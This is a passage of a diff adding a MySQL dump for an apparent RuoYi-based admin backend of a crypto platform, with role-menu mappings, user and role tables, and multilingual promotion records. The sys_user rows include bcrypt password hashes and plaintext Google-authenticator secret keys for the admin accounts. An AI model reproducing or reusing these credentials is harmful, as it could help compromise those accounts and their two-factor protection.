(2, 1044); +INSERT INTO `sys_role_menu` VALUES (2, 1045); +INSERT INTO `sys_role_menu` VALUES (2, 1046); +INSERT INTO `sys_role_menu` VALUES (2, 1047); +INSERT INTO `sys_role_menu` VALUES (2, 1048); +INSERT INTO `sys_role_menu` VALUES (2, 1049); +INSERT INTO `sys_role_menu` VALUES (2, 1050); +INSERT INTO `sys_role_menu` VALUES (2, 1051); +INSERT INTO `sys_role_menu` VALUES (2, 1052); +INSERT INTO `sys_role_menu` VALUES (2, 1053); +INSERT INTO `sys_role_menu` VALUES (2, 1054); +INSERT INTO `sys_role_menu` VALUES (2, 1055); +INSERT INTO `sys_role_menu` VALUES (2, 1056); +INSERT INTO `sys_role_menu` VALUES (2, 1057); +INSERT INTO `sys_role_menu` VALUES (2, 1058); +INSERT INTO `sys_role_menu` VALUES (2, 1059); +INSERT INTO `sys_role_menu` VALUES (2, 1060); +INSERT INTO `sys_role_menu` VALUES (2, 2015); +INSERT INTO `sys_role_menu` VALUES (2, 2016); +INSERT INTO `sys_role_menu` VALUES (2, 2017); +INSERT INTO `sys_role_menu` VALUES (2, 2018); +INSERT INTO `sys_role_menu` VALUES (2, 2019); +INSERT INTO `sys_role_menu` VALUES (2, 2020); +INSERT INTO `sys_role_menu` VALUES (2, 2021); +INSERT INTO `sys_role_menu` VALUES (2, 2022); +INSERT INTO `sys_role_menu` VALUES (2, 2023); +INSERT INTO `sys_role_menu` VALUES (2, 2024); +INSERT INTO `sys_role_menu` VALUES (2, 2025); +INSERT INTO `sys_role_menu` VALUES (2, 2026); +INSERT INTO `sys_role_menu` VALUES (2, 2027); +INSERT INTO `sys_role_menu` VALUES (2, 2028); +INSERT INTO `sys_role_menu` VALUES (2, 2029); +INSERT INTO `sys_role_menu` VALUES (2, 2030); +INSERT INTO `sys_role_menu` VALUES (2, 2031); +INSERT INTO `sys_role_menu` VALUES (2, 2032); +INSERT INTO `sys_role_menu` VALUES (2, 2033); +INSERT INTO `sys_role_menu` VALUES (2, 2034); +INSERT INTO `sys_role_menu` VALUES (2, 2035); +INSERT INTO `sys_role_menu` VALUES (2, 2036); +INSERT INTO `sys_role_menu` VALUES (2, 2037); +INSERT INTO `sys_role_menu` VALUES (2, 2038); +INSERT INTO `sys_role_menu` VALUES (2, 2039); +INSERT INTO `sys_role_menu` VALUES (2, 2040); +INSERT INTO `sys_role_menu` VALUES (2, 2041); +INSERT INTO `sys_role_menu` VALUES (2, 2042); +INSERT INTO `sys_role_menu` VALUES (2, 2043); +INSERT INTO `sys_role_menu` VALUES (2, 2048); +INSERT INTO `sys_role_menu` VALUES (2, 2049); +INSERT INTO `sys_role_menu` VALUES (2, 2050); +INSERT INTO `sys_role_menu` VALUES (2, 2051); +INSERT INTO `sys_role_menu` VALUES (2, 2064); +INSERT INTO `sys_role_menu` VALUES (2, 2066); +INSERT INTO `sys_role_menu` VALUES (2, 2067); +INSERT INTO `sys_role_menu` VALUES (2, 2069); +INSERT INTO `sys_role_menu` VALUES (2, 2070); +INSERT INTO `sys_role_menu` VALUES (2, 2071); +INSERT INTO `sys_role_menu` VALUES (2, 2072); +INSERT INTO `sys_role_menu` VALUES (2, 2075); +INSERT INTO `sys_role_menu` VALUES (2, 2077); +INSERT INTO `sys_role_menu` VALUES (2, 2080); +INSERT INTO `sys_role_menu` VALUES (2, 2082); +INSERT INTO `sys_role_menu` VALUES (2, 2083); +INSERT INTO `sys_role_menu` VALUES (2, 2084); +INSERT INTO `sys_role_menu` VALUES (2, 2085); +INSERT INTO `sys_role_menu` VALUES (2, 2086); +INSERT INTO `sys_role_menu` VALUES (2, 2089); +INSERT INTO `sys_role_menu` VALUES (2, 2090); +INSERT INTO `sys_role_menu` VALUES (2, 2091); +INSERT INTO `sys_role_menu` VALUES (2, 2092); +INSERT INTO `sys_role_menu` VALUES (2, 2093); +INSERT INTO `sys_role_menu` VALUES (2, 2094); +INSERT INTO `sys_role_menu` VALUES (2, 2096); +INSERT INTO `sys_role_menu` VALUES (2, 2098); +INSERT INTO `sys_role_menu` VALUES (2, 2099); +INSERT INTO `sys_role_menu` VALUES (2, 2100); +INSERT INTO `sys_role_menu` VALUES (2, 2102); +INSERT INTO `sys_role_menu` VALUES (2, 2103); +INSERT INTO `sys_role_menu` VALUES (2, 2104); +INSERT INTO `sys_role_menu` VALUES (2, 2105); +INSERT INTO `sys_role_menu` VALUES (2, 2107); +INSERT INTO `sys_role_menu` VALUES (2, 2108); +INSERT INTO `sys_role_menu` VALUES (2, 2109); +INSERT INTO `sys_role_menu` VALUES (2, 2110); +INSERT INTO `sys_role_menu` VALUES (2, 2111); +INSERT INTO `sys_role_menu` VALUES (2, 2112); +INSERT INTO `sys_role_menu` VALUES (2, 2113); +INSERT INTO `sys_role_menu` VALUES (2, 2114); +INSERT INTO `sys_role_menu` VALUES (2, 2115); +INSERT INTO `sys_role_menu` VALUES (2, 2116); +INSERT INTO `sys_role_menu` VALUES (2, 2117); +INSERT INTO `sys_role_menu` VALUES (2, 2118); +INSERT INTO `sys_role_menu` VALUES (2, 2119); +INSERT INTO `sys_role_menu` VALUES (2, 2120); +INSERT INTO `sys_role_menu` VALUES (2, 2121); +INSERT INTO `sys_role_menu` VALUES (2, 2122); +INSERT INTO `sys_role_menu` VALUES (2, 2123); +INSERT INTO `sys_role_menu` VALUES (2, 2124); +INSERT INTO `sys_role_menu` VALUES (2, 2125); +INSERT INTO `sys_role_menu` VALUES (2, 2126); +INSERT INTO `sys_role_menu` VALUES (2, 2127); +INSERT INTO `sys_role_menu` VALUES (2, 2128); +INSERT INTO `sys_role_menu` VALUES (2, 2129); +INSERT INTO `sys_role_menu` VALUES (2, 2130); +INSERT INTO `sys_role_menu` VALUES (2, 2131); +INSERT INTO `sys_role_menu` VALUES (2, 2132); +INSERT INTO `sys_role_menu` VALUES (2, 2133); +INSERT INTO `sys_role_menu` VALUES (2, 2134); +INSERT INTO `sys_role_menu` VALUES (2, 2135); +INSERT INTO `sys_role_menu` VALUES (2, 2136); +INSERT INTO `sys_role_menu` VALUES (2, 2137); +INSERT INTO `sys_role_menu` VALUES (2, 2138); +INSERT INTO `sys_role_menu` VALUES (2, 2139); +INSERT INTO `sys_role_menu` VALUES (2, 2140); +INSERT INTO `sys_role_menu` VALUES (2, 2141); +INSERT INTO `sys_role_menu` VALUES (2, 2142); +INSERT INTO `sys_role_menu` VALUES (2, 2143); +INSERT INTO `sys_role_menu` VALUES (2, 2144); +INSERT INTO `sys_role_menu` VALUES (2, 2145); +INSERT INTO `sys_role_menu` VALUES (2, 2146); +INSERT INTO `sys_role_menu` VALUES (2, 2147); +INSERT INTO `sys_role_menu` VALUES (2, 2148); +INSERT INTO `sys_role_menu` VALUES (2, 2149); +INSERT INTO `sys_role_menu` VALUES (2, 2150); +INSERT INTO `sys_role_menu` VALUES (2, 2151); +INSERT INTO `sys_role_menu` VALUES (2, 2152); +INSERT INTO `sys_role_menu` VALUES (2, 2153); +INSERT INTO `sys_role_menu` VALUES (2, 2154); +INSERT INTO `sys_role_menu` VALUES (2, 2155); +INSERT INTO `sys_role_menu` VALUES (2, 2156); +INSERT INTO `sys_role_menu` VALUES (2, 2157); +INSERT INTO `sys_role_menu` VALUES (2, 2158); +INSERT INTO `sys_role_menu` VALUES (2, 2159); +INSERT INTO `sys_role_menu` VALUES (2, 2160); +INSERT INTO `sys_role_menu` VALUES (2, 2161); +INSERT INTO `sys_role_menu` VALUES (2, 2162); +INSERT INTO `sys_role_menu` VALUES (2, 2163); +INSERT INTO `sys_role_menu` VALUES (2, 2164); +INSERT INTO `sys_role_menu` VALUES (2, 2165); +INSERT INTO `sys_role_menu` VALUES (2, 2166); +INSERT INTO `sys_role_menu` VALUES (2, 2167); +INSERT INTO `sys_role_menu` VALUES (2, 2168); +INSERT INTO `sys_role_menu` VALUES (2, 2169); +INSERT INTO `sys_role_menu` VALUES (2, 2170); +INSERT INTO `sys_role_menu` VALUES (2, 2171); +INSERT INTO `sys_role_menu` VALUES (2, 2172); +INSERT INTO `sys_role_menu` VALUES (2, 2173); +INSERT INTO `sys_role_menu` VALUES (2, 2174); +INSERT INTO `sys_role_menu` VALUES (2, 2175); +INSERT INTO `sys_role_menu` VALUES (2, 2176); +INSERT INTO `sys_role_menu` VALUES (2, 2177); +INSERT INTO `sys_role_menu` VALUES (2, 2178); +INSERT INTO `sys_role_menu` VALUES (2, 2179); +INSERT INTO `sys_role_menu` VALUES (2, 2180); +INSERT INTO `sys_role_menu` VALUES (2, 2181); +INSERT INTO `sys_role_menu` VALUES (2, 2182); +INSERT INTO `sys_role_menu` VALUES (2, 2183); +INSERT INTO `sys_role_menu` VALUES (2, 2184); +INSERT INTO `sys_role_menu` VALUES (2, 2185); +INSERT INTO `sys_role_menu` VALUES (2, 2186); +INSERT INTO `sys_role_menu` VALUES (2, 2187); +INSERT INTO `sys_role_menu` VALUES (2, 2188); +INSERT INTO `sys_role_menu` VALUES (2, 2189); +INSERT INTO `sys_role_menu` VALUES (2, 2190); +INSERT INTO `sys_role_menu` VALUES (2, 2191); +INSERT INTO `sys_role_menu` VALUES (2, 2192); +INSERT INTO `sys_role_menu` VALUES (2, 2193); +INSERT INTO `sys_role_menu` VALUES (2, 2194); +INSERT INTO `sys_role_menu` VALUES (2, 2195); +INSERT INTO `sys_role_menu` VALUES (2, 2196); +INSERT INTO `sys_role_menu` VALUES (2, 2197); +INSERT INTO `sys_role_menu` VALUES (2, 2198); +INSERT INTO `sys_role_menu` VALUES (2, 2199); +INSERT INTO `sys_role_menu` VALUES (2, 2200); +INSERT INTO `sys_role_menu` VALUES (2, 2201); +INSERT INTO `sys_role_menu` VALUES (2, 2202); +INSERT INTO `sys_role_menu` VALUES (2, 2229); +INSERT INTO `sys_role_menu` VALUES (2, 2230); +INSERT INTO `sys_role_menu` VALUES (2, 2231); +INSERT INTO `sys_role_menu` VALUES (2, 2232); +INSERT INTO `sys_role_menu` VALUES (2, 2233); +INSERT INTO `sys_role_menu` VALUES (2, 2234); +INSERT INTO `sys_role_menu` VALUES (2, 2235); +INSERT INTO `sys_role_menu` VALUES (2, 2236); +INSERT INTO `sys_role_menu` VALUES (2, 2237); +INSERT INTO `sys_role_menu` VALUES (2, 2238); +INSERT INTO `sys_role_menu` VALUES (2, 2239); +INSERT INTO `sys_role_menu` VALUES (2, 2240); +INSERT INTO `sys_role_menu` VALUES (2, 2241); +INSERT INTO `sys_role_menu` VALUES (2, 2242); +INSERT INTO `sys_role_menu` VALUES (2, 2243); +INSERT INTO `sys_role_menu` VALUES (2, 2244); +INSERT INTO `sys_role_menu` VALUES (2, 2245); +INSERT INTO `sys_role_menu` VALUES (2, 2246); +INSERT INTO `sys_role_menu` VALUES (2, 2247); +INSERT INTO `sys_role_menu` VALUES (2, 2248); +INSERT INTO `sys_role_menu` VALUES (2, 2249); +INSERT INTO `sys_role_menu` VALUES (2, 2250); +INSERT INTO `sys_role_menu` VALUES (2, 2251); +INSERT INTO `sys_role_menu` VALUES (2, 2252); +INSERT INTO `sys_role_menu` VALUES (2, 2253); +INSERT INTO `sys_role_menu` VALUES (2, 2254); +INSERT INTO `sys_role_menu` VALUES (2, 2255); +INSERT INTO `sys_role_menu` VALUES (2, 2256); +INSERT INTO `sys_role_menu` VALUES (2, 2257); +INSERT INTO `sys_role_menu` VALUES (2, 2258); +INSERT INTO `sys_role_menu` VALUES (2, 2259); +INSERT INTO `sys_role_menu` VALUES (2, 2260); +INSERT INTO `sys_role_menu` VALUES (2, 2261); +INSERT INTO `sys_role_menu` VALUES (2, 2262); +INSERT INTO `sys_role_menu` VALUES (2, 2263); +INSERT INTO `sys_role_menu` VALUES (2, 2264); +INSERT INTO `sys_role_menu` VALUES (2, 2265); +INSERT INTO `sys_role_menu` VALUES (2, 2266); +INSERT INTO `sys_role_menu` VALUES (2, 2267); +INSERT INTO `sys_role_menu` VALUES (2, 2268); +INSERT INTO `sys_role_menu` VALUES (100, 2015); +INSERT INTO `sys_role_menu` VALUES (100, 2016); +INSERT INTO `sys_role_menu` VALUES (100, 2027); +INSERT INTO `sys_role_menu` VALUES (100, 2028); +INSERT INTO `sys_role_menu` VALUES (100, 2029); +INSERT INTO `sys_role_menu` VALUES (100, 2030); +INSERT INTO `sys_role_menu` VALUES (100, 2031); +INSERT INTO `sys_role_menu` VALUES (100, 2032); +INSERT INTO `sys_role_menu` VALUES (100, 2033); +INSERT INTO `sys_role_menu` VALUES (100, 2034); +INSERT INTO `sys_role_menu` VALUES (100, 2035); +INSERT INTO `sys_role_menu` VALUES (100, 2036); +INSERT INTO `sys_role_menu` VALUES (100, 2039); +INSERT INTO `sys_role_menu` VALUES (100, 2040); +INSERT INTO `sys_role_menu` VALUES (100, 2042); +INSERT INTO `sys_role_menu` VALUES (100, 2043); +INSERT INTO `sys_role_menu` VALUES (100, 2048); +INSERT INTO `sys_role_menu` VALUES (100, 2050); +INSERT INTO `sys_role_menu` VALUES (100, 2051); +INSERT INTO `sys_role_menu` VALUES (100, 2064); +INSERT INTO `sys_role_menu` VALUES (100, 2066); +INSERT INTO `sys_role_menu` VALUES (100, 2067); +INSERT INTO `sys_role_menu` VALUES (100, 2069); +INSERT INTO `sys_role_menu` VALUES (100, 2070); +INSERT INTO `sys_role_menu` VALUES (100, 2071); +INSERT INTO `sys_role_menu` VALUES (100, 2072); +INSERT INTO `sys_role_menu` VALUES (100, 2075); +INSERT INTO `sys_role_menu` VALUES (100, 2082); +INSERT INTO `sys_role_menu` VALUES (100, 2086); +INSERT INTO `sys_role_menu` VALUES (100, 2089); +INSERT INTO `sys_role_menu` VALUES (100, 2091); +INSERT INTO `sys_role_menu` VALUES (100, 2092); +INSERT INTO `sys_role_menu` VALUES (100, 2112); +INSERT INTO `sys_role_menu` VALUES (100, 2115); +INSERT INTO `sys_role_menu` VALUES (100, 2116); +INSERT INTO `sys_role_menu` VALUES (100, 2117); +INSERT INTO `sys_role_menu` VALUES (100, 2118); +INSERT INTO `sys_role_menu` VALUES (100, 2119); +INSERT INTO `sys_role_menu` VALUES (100, 2120); +INSERT INTO `sys_role_menu` VALUES (100, 2121); +INSERT INTO `sys_role_menu` VALUES (100, 2126); +INSERT INTO `sys_role_menu` VALUES (100, 2127); +INSERT INTO `sys_role_menu` VALUES (100, 2128); +INSERT INTO `sys_role_menu` VALUES (100, 2129); +INSERT INTO `sys_role_menu` VALUES (100, 2135); +INSERT INTO `sys_role_menu` VALUES (100, 2136); +INSERT INTO `sys_role_menu` VALUES (100, 2137); +INSERT INTO `sys_role_menu` VALUES (100, 2146); +INSERT INTO `sys_role_menu` VALUES (100, 2147); +INSERT INTO `sys_role_menu` VALUES (100, 2148); +INSERT INTO `sys_role_menu` VALUES (100, 2149); +INSERT INTO `sys_role_menu` VALUES (100, 2150); +INSERT INTO `sys_role_menu` VALUES (100, 2151); +INSERT INTO `sys_role_menu` VALUES (100, 2152); +INSERT INTO `sys_role_menu` VALUES (100, 2157); +INSERT INTO `sys_role_menu` VALUES (100, 2158); +INSERT INTO `sys_role_menu` VALUES (100, 2159); +INSERT INTO `sys_role_menu` VALUES (100, 2168); +INSERT INTO `sys_role_menu` VALUES (100, 2169); +INSERT INTO `sys_role_menu` VALUES (100, 2170); +INSERT INTO `sys_role_menu` VALUES (100, 2171); +INSERT INTO `sys_role_menu` VALUES (100, 2176); +INSERT INTO `sys_role_menu` VALUES (100, 2177); +INSERT INTO `sys_role_menu` VALUES (100, 2178); +INSERT INTO `sys_role_menu` VALUES (100, 2179); +INSERT INTO `sys_role_menu` VALUES (100, 2180); +INSERT INTO `sys_role_menu` VALUES (100, 2181); +INSERT INTO `sys_role_menu` VALUES (100, 2229); +INSERT INTO `sys_role_menu` VALUES (100, 2230); +INSERT INTO `sys_role_menu` VALUES (100, 2231); +INSERT INTO `sys_role_menu` VALUES (100, 2232); +INSERT INTO `sys_role_menu` VALUES (100, 2233); +INSERT INTO `sys_role_menu` VALUES (100, 2234); +INSERT INTO `sys_role_menu` VALUES (100, 2235); +INSERT INTO `sys_role_menu` VALUES (100, 2236); +INSERT INTO `sys_role_menu` VALUES (100, 2237); +INSERT INTO `sys_role_menu` VALUES (100, 2238); +INSERT INTO `sys_role_menu` VALUES (100, 2239); +INSERT INTO `sys_role_menu` VALUES (100, 2240); +INSERT INTO `sys_role_menu` VALUES (100, 2247); +INSERT INTO `sys_role_menu` VALUES (100, 2248); +INSERT INTO `sys_role_menu` VALUES (100, 2250); +INSERT INTO `sys_role_menu` VALUES (100, 2251); +INSERT INTO `sys_role_menu` VALUES (100, 2259); +INSERT INTO `sys_role_menu` VALUES (102, 2027); +INSERT INTO `sys_role_menu` VALUES (102, 2028); +INSERT INTO `sys_role_menu` VALUES (102, 2029); +INSERT INTO `sys_role_menu` VALUES (102, 2030); +INSERT INTO `sys_role_menu` VALUES (102, 2031); +INSERT INTO `sys_role_menu` VALUES (102, 2032); +INSERT INTO `sys_role_menu` VALUES (102, 2039); +INSERT INTO `sys_role_menu` VALUES (102, 2070); +INSERT INTO `sys_role_menu` VALUES (102, 2071); +INSERT INTO `sys_role_menu` VALUES (102, 2072); +INSERT INTO `sys_role_menu` VALUES (102, 2112); +INSERT INTO `sys_role_menu` VALUES (102, 2115); +INSERT INTO `sys_role_menu` VALUES (102, 2116); +INSERT INTO `sys_role_menu` VALUES (102, 2117); +INSERT INTO `sys_role_menu` VALUES (102, 2118); +INSERT INTO `sys_role_menu` VALUES (102, 2119); +INSERT INTO `sys_role_menu` VALUES (102, 2120); +INSERT INTO `sys_role_menu` VALUES (102, 2121); +INSERT INTO `sys_role_menu` VALUES (102, 2201); +INSERT INTO `sys_role_menu` VALUES (102, 2202); + +-- ---------------------------- +-- Table structure for sys_user +-- ---------------------------- +DROP TABLE IF EXISTS `sys_user`; +CREATE TABLE `sys_user` ( + `user_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '用户ID', + `dept_id` bigint(0) NULL DEFAULT NULL COMMENT '部门ID', + `user_name` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '用户账号', + `nick_name` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '用户昵称', + `user_type` varchar(2) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '用户类型(0普通用户 1 组长 2 代理)', + `email` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '用户邮箱', + `phonenumber` varchar(11) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '手机号码', + `sex` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '用户性别(0男 1女 2未知)', + `avatar` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '头像地址', + `password` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '密码', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '帐号状态(0正常 1停用)', + `google_key` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '谷歌验证码key', + `del_flag` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '删除标志(0代表存在 2代表删除)', + `login_ip` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '最后登录IP', + `login_date` datetime(0) NULL DEFAULT NULL COMMENT '最后登录时间', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + `parent_id` bigint(0) NULL DEFAULT NULL COMMENT '组长ID', + PRIMARY KEY (`user_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 115 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '用户信息表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_user +-- ---------------------------- +INSERT INTO `sys_user` VALUES (1, 103, 'admin', '若依', '00', '888@163.com', '18888888888', '0', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.08f7e2241d2d64877a2cd1ae8a32cd5e7.png', '$2a$10$X3Fn4IoHKy9e70Rk77Y0K.VgoqOc8vO9rL.8T0xY.4wiAfTbELSRy', '0', '3WPXWZNYDJ37F5R5A3WBSYBGFYMKJ6YI', '0', '192.168.10.175', '2024-02-21 22:37:34', 'admin', '2023-06-24 15:31:37', '', '2024-02-21 22:37:34', '管理员', NULL); +INSERT INTO `sys_user` VALUES (2, NULL, 'superAdmin', '超级管理员', '0', '', '', '0', '', '$2a$10$5hyD/X.2LIoZ7lUPNPzvGe48Z5XeYjHBPJYgGEOmaiO7V7i1IVHti', '0', '4RFA3USUX3DLLSPRT3FBC3374ISLI3AX', '0', '192.168.3.47', '2023-08-29 19:59:32', 'admin', '2023-08-29 19:17:03', 'admin', '2023-08-29 19:59:31', '超级管理员', NULL); + +-- ---------------------------- +-- Table structure for sys_user_post +-- ---------------------------- +DROP TABLE IF EXISTS `sys_user_post`; +CREATE TABLE `sys_user_post` ( + `user_id` bigint(0) NOT NULL COMMENT '用户ID', + `post_id` bigint(0) NOT NULL COMMENT '岗位ID', + PRIMARY KEY (`user_id`, `post_id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '用户与岗位关联表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_user_post +-- ---------------------------- +INSERT INTO `sys_user_post` VALUES (1, 1); + +-- ---------------------------- +-- Table structure for sys_user_role +-- ---------------------------- +DROP TABLE IF EXISTS `sys_user_role`; +CREATE TABLE `sys_user_role` ( + `user_id` bigint(0) NOT NULL COMMENT '用户ID', + `role_id` bigint(0) NOT NULL COMMENT '角色ID', + PRIMARY KEY (`user_id`, `role_id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '用户和角色关联表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_user_role +-- ---------------------------- +INSERT INTO `sys_user_role` VALUES (1, 1); +INSERT INTO `sys_user_role` VALUES (2, 1); +INSERT INTO `sys_user_role` VALUES (110, 2); +INSERT INTO `sys_user_role` VALUES (114, 100); + +-- ---------------------------- +-- Table structure for t_activity +-- ---------------------------- +DROP TABLE IF EXISTS `t_activity`; +CREATE TABLE `t_activity` ( + `id` int(0) NOT NULL AUTO_INCREMENT COMMENT '卡ID', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `status` tinyint(2) UNSIGNED ZEROFILL NOT NULL COMMENT '状态0编辑1上线', + `remark` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `display_url` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `detail_url` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '详情页', + `detail_status` tinyint(0) NULL DEFAULT NULL, + `loading_url` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `tags` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `type` int(0) NULL DEFAULT NULL COMMENT '1广告2活动', + `source` int(0) NULL DEFAULT NULL COMMENT '展示端,1:PC,2:H5', + `language_id` int(0) NULL DEFAULT NULL COMMENT 'zh:1,cht:2,en:3,pt:4,sa:5,ko:6,ja:7,es:8,th:9,ms:10,id:11,fr:12,ru:13', + `agent` tinyint(0) NULL DEFAULT 0 COMMENT '0代理无关,1相关', + `jump_type` int(0) NULL DEFAULT NULL COMMENT '跳转类型 0 内链 1外链', + `sort_num` int(0) NULL DEFAULT NULL COMMENT '排序', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 139 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin COMMENT = '活动公告表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_activity +-- ---------------------------- +INSERT INTO `t_activity` VALUES (111, 'ppp008', '2023-02-09 22:57:46', 'ppp008', '2023-02-20 15:27:53', NULL, 01, '中文-秒合约', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test7876b9290cd2422580cb1d9b29a1f5c3.png', '/exchange?tabName=sec', NULL, '../events/event_detail', '中文-秒合约', 1, NULL, 1, 0, NULL, 2); +INSERT INTO `t_activity` VALUES (112, 'ppp008', '2023-02-10 13:04:28', 'ppp008', '2023-02-20 15:30:42', NULL, 01, '中文-difi', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test6e59430213584b0384f3290fdf48f3aa.png', '/non-pledge', NULL, '../events/event_detail', '中文-DIFI', 1, NULL, 1, 0, NULL, 1); +INSERT INTO `t_activity` VALUES (113, 'ppp008', '2023-02-10 13:10:23', 'ppp008', '2023-02-20 15:28:32', NULL, 01, '中文-质押', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test88d9a0b7361b4e58b6d52e7bc1623835.png', '/pledge-mining', NULL, '../events/event_detail', '中文-质押', 1, NULL, 1, 0, NULL, 3); +INSERT INTO `t_activity` VALUES (114, 'ppp008', '2023-02-10 13:14:32', 'ppp008', '2023-02-20 18:03:37', NULL, 01, '越南-秒合约', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test852ba707fb664a269209acc499dc6e4a.png', '/exchange?tabName=sec', NULL, '../events/event_detail', '越南-秒合约', 1, NULL, 14, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (115, 'ppp008', '2023-02-10 13:19:39', 'ppp008', '2023-02-20 18:03:57', NULL, 01, '越南-difi', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test27c31840c3064e2f948104e73a7cdf62.png', '/non-pledge', NULL, '../events/event_detail', '越南-difi', 1, NULL, 14, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (116, 'ppp008', '2023-02-10 13:20:13', 'ppp008', '2023-02-20 18:05:21', NULL, 01, '越南-质押', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/testb3af08116f6c416e933c105498e7b117.png', '/pledge-mining', NULL, '../events/event_detail', '越南-质押', 1, NULL, 14, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (117, 'ppp008', '2023-02-10 13:59:33', 'ppp008', '2023-02-20 18:04:39', NULL, 01, '英文-秒合约', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/teste3d5a21430e1462eb94062f180d5dbe3.png', '/exchange?tabName=sec', NULL, '../events/event_detail', '英文-秒合约', 1, NULL, 3, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (118, 'ppp008', '2023-02-10 14:00:47', 'ppp008', '2023-02-20 18:07:31', NULL, 01, '英文-difi', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test2613f66b8bb7421787d0990c4c6db130.png', '/non-pledge', NULL, '../events/event_detail', '英文-difi', 1, NULL, 3, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (119, 'ppp008', '2023-02-10 14:01:28', 'ppp008', '2023-02-20 18:07:45', NULL, 01, '英文-质押', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/testd6873b9765934160a098d29364644900.png', '/pledge-mining', NULL, '../events/event_detail', '英文-质押', 1, NULL, 3, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (120, 'ppp008', '2023-02-10 14:04:29', 'ppp008', '2023-02-20 18:08:02', NULL, 01, '泰语-秒合约', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test24b7d14cdb7b4e6683e5bf3cf31115cc.png', '/exchange?tabName=sec', NULL, '../events/event_detail', '泰语-秒合约', 1, NULL, 9, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (121, 'ppp008', '2023-02-10 14:04:58', 'ppp008', '2023-02-20 18:08:53', NULL, 01, '泰语-difi', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/testac96224c90574403b90e00b8afa78a39.png', '/non-pledge', NULL, '../events/event_detail', '泰语-difi', 1, NULL, 9, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (122, 'ppp008', '2023-02-10 14:06:15', 'ppp008', '2023-02-20 18:09:16', NULL, 01, '泰语-质押', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/testf236c92acac94d06b7a360bd5cebfd86.png', '/pledge-mining', NULL, '../events/event_detail', '泰语-质押', 1, NULL, 9, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (123, 'ppp008', '2023-02-10 